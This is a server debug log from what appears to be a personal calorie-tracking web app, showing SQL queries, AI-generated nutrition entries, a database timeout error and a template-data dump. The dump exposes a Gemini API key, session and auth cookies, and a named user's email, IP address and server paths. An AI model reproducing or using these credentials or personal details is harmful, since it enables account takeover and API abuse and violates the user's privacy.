2025-12-15T07:12:55.197Z server-connect:app Executing action step single
2025-12-15T07:12:55.198Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-15T07:12:55.198Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-15T07:12:55.199Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-15T07:12:55.199Z server-connect:app Executing action step select
2025-12-15T07:12:55.199Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-15T07:12:55.200Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-15T07:12:55.201Z server-connect:output item_list: [
  {
    id: 390,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 1,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'N/A (supplement with specific purpose, generally low calorie)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Designed to enhance workout performance and focus. Generally low in calories and can be beneficial for intense training sessions for muscle development.'
  },
  {
    id: 391,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries - lower sugar and calories),Apple,Orange',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for immediate energy, potassium, and other micronutrients. Ideal for pre or post-workout fuel to support muscle development and recovery.'
  },
  {
    id: 392,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat Flatbread)',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 72,
    fat_gm: 4,
    quantity: '4 pieces (approx 200g cooked weight)',
    replacements: 'Brown rice (complex carbs),Quinoa (complex carbs, higher protein),Oats (complex carbs, good fiber)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'A staple source of complex carbohydrates, providing sustained energy for daily activities and intense workouts. Essential for replenishing muscle glycogen stores for muscle growth.'
  },
  {
    id: 393,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Aalo Sabji (Potato Curry)',
    calories: 280,
    protein_gm: 4,
    carbs_gm: 40,
    fat_gm: 15,
    quantity: '1 serving (approx 200g)',
    replacements: 'Mixed vegetable sabji (more fiber, fewer calories from potatoes),Dal (lentil curry - higher protein, lower fat),Paneer sabji (for higher protein intake)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Provides carbohydrates from potatoes and some healthy fats from cooking, contributing to energy needs. Can be made healthier by reducing oil content and adding more non-starchy vegetables.'
  },
  {
    id: 394,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Gulab Jamun',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 30,
    fat_gm: 8,
    quantity: '1 piece (approx 40g)',
    replacements: 'Fresh fruit (e.g., berries, apple),Small piece of dark chocolate (70%+ cocoa),Greek yogurt with a touch of honey (higher protein, lower sugar)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 3,
    skip_reason: 'This dessert is high in refined sugar and unhealthy fats from deep frying, providing empty calories with minimal nutritional value. It can lead to blood sugar spikes and contributes to excess calorie intake, which is counterproductive for muscle development and overall health goals.'
  },
  {
    id: 395,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Buttermilk',
    calories: 76,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 2,
    quantity: '1 glass (approx 200ml)',
    replacements: 'Plain water,Unsweetened herbal tea,Diluted yogurt (without added sugar)',
    created_at: '2025-12-15T00:10:59.000Z',
    skip_level: 1,
    skip_reason: "Buttermilk (Chaas) is an excellent source of hydration, probiotics, and lean protein, especially if made from skimmed or low-fat curd. It's low in calories and supports digestion, which is beneficial for muscle development and overall gut health for someone with a desk job and active lifestyle."
  }
]
2025-12-15T07:12:55.201Z server-connect:app Executing action step setvalue
2025-12-15T07:12:55.201Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-15T07:12:55.201Z server-connect:output var_total: 1021
2025-12-15T07:12:55.201Z server-connect:app Executing action step setvalue
2025-12-15T07:12:55.201Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-15T07:12:55.202Z server-connect:output var_consumed: 43
2025-12-15T07:12:55.202Z server-connect:app Executing action step setvalue
2025-12-15T07:12:55.202Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-15T07:12:55.202Z server-connect:output var_deficit: 1379
2025-12-15T07:12:55.202Z server-connect:app Executing action step custom
2025-12-15T07:12:55.202Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-15T07:12:55.203Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '1021',
    surplus_or_deficit: '1379',
    status_flag: 2
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 07:37:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 07:37:06' as DATETIME)"
}
2025-12-15T10:56:58.443Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-15T10:56:58.444Z server-connect:app Executing action step identify
2025-12-15T10:56:58.444Z server-connect:app options: { provider: 'security' }
2025-12-15T10:56:58.445Z server-connect:output identity: 1
2025-12-15T10:56:58.445Z server-connect:app Executing action step restrict
2025-12-15T10:56:58.445Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T10:56:58.447Z server-connect:output restrict: undefined
2025-12-15T10:56:58.447Z server-connect:app Executing action step processWithGemini
2025-12-15T10:56:58.447Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-15T10:57:07.974Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Tea',
      quantity: '1 cup (240ml)',
      total_calories: 2,
      protein: 0.5,
      carbs: 0.5,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Tea without sugar is an excellent choice for your muscle development goal. It's virtually calorie-free, hydrating, and contains antioxidants, without adding unnecessary sugars or fats."
    }
  ],
  total_macros: {
    total_calories: 2,
    total_protein: '0.5g',
    total_carbs: '0.5g',
    total_fat: '0g'
  }
}
2025-12-15T10:57:16.348Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-15T10:57:16.349Z server-connect:app Executing action step identify
2025-12-15T10:57:16.349Z server-connect:app options: { provider: 'security' }
2025-12-15T10:57:16.349Z server-connect:output identity: 1
2025-12-15T10:57:16.349Z server-connect:app Executing action step restrict
2025-12-15T10:57:16.349Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T10:57:16.349Z server-connect:output restrict: undefined
2025-12-15T10:57:16.349Z server-connect:app Executing action step processWithGemini
2025-12-15T10:57:16.350Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-15T10:57:24.231Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '1 cup (240ml, assuming toned milk)',
      total_calories: 120,
      protein: 8,
      carbs: 12,
      fat: 5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Provides protein, calcium, and hydration without added sugar. The protein content from milk can be beneficial for muscle development. Opting for toned/low-fat milk further manages fat intake.'
    }
  ],
  total_macros: {
    total_calories: 120,
    protein: { value: 8, unit: 'g' },
    carbs: { value: 12, unit: 'g' },
    fat: { value: 5, unit: 'g' }
  }
}
2025-12-15T10:57:34.405Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-15T10:57:34.407Z server-connect:app Executing action step identify
2025-12-15T10:57:34.407Z server-connect:app options: { provider: 'security' }
2025-12-15T10:57:34.407Z server-connect:output identity: 1
2025-12-15T10:57:34.407Z server-connect:app Executing action step restrict
2025-12-15T10:57:34.407Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T10:57:34.408Z server-connect:output restrict: undefined
2025-12-15T10:57:34.408Z server-connect:app Executing action step condition
2025-12-15T10:57:34.408Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-15T10:57:34.408Z server-connect:app Executing action step repeat
2025-12-15T10:57:34.408Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-15T10:57:34.408Z server-connect:app Executing action step insert
2025-12-15T10:57:34.408Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T10:57:34.410Z server-connect:output calories: { affected: 1, identity: 396 }
2025-12-15T10:57:34.411Z server-connect:output repeat: [ {} ]
2025-12-15T10:57:34.411Z server-connect:output condition: undefined
2025-12-15T10:57:34.637Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T10:57:34.638Z server-connect:app Executing action step identify
2025-12-15T10:57:34.638Z server-connect:app options: { provider: 'security' }
2025-12-15T10:57:34.638Z server-connect:output identity: 1
2025-12-15T10:57:34.638Z server-connect:app Executing action step restrict
2025-12-15T10:57:34.638Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T10:57:34.639Z server-connect:output restrict: undefined
2025-12-15T10:57:34.639Z server-connect:router Render template layouts/main
2025-12-15T10:57:34.639Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T05:39:35.012Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-15T10:57:35.214Z server-connect:router Serving serverConnect /api/masters/get-items
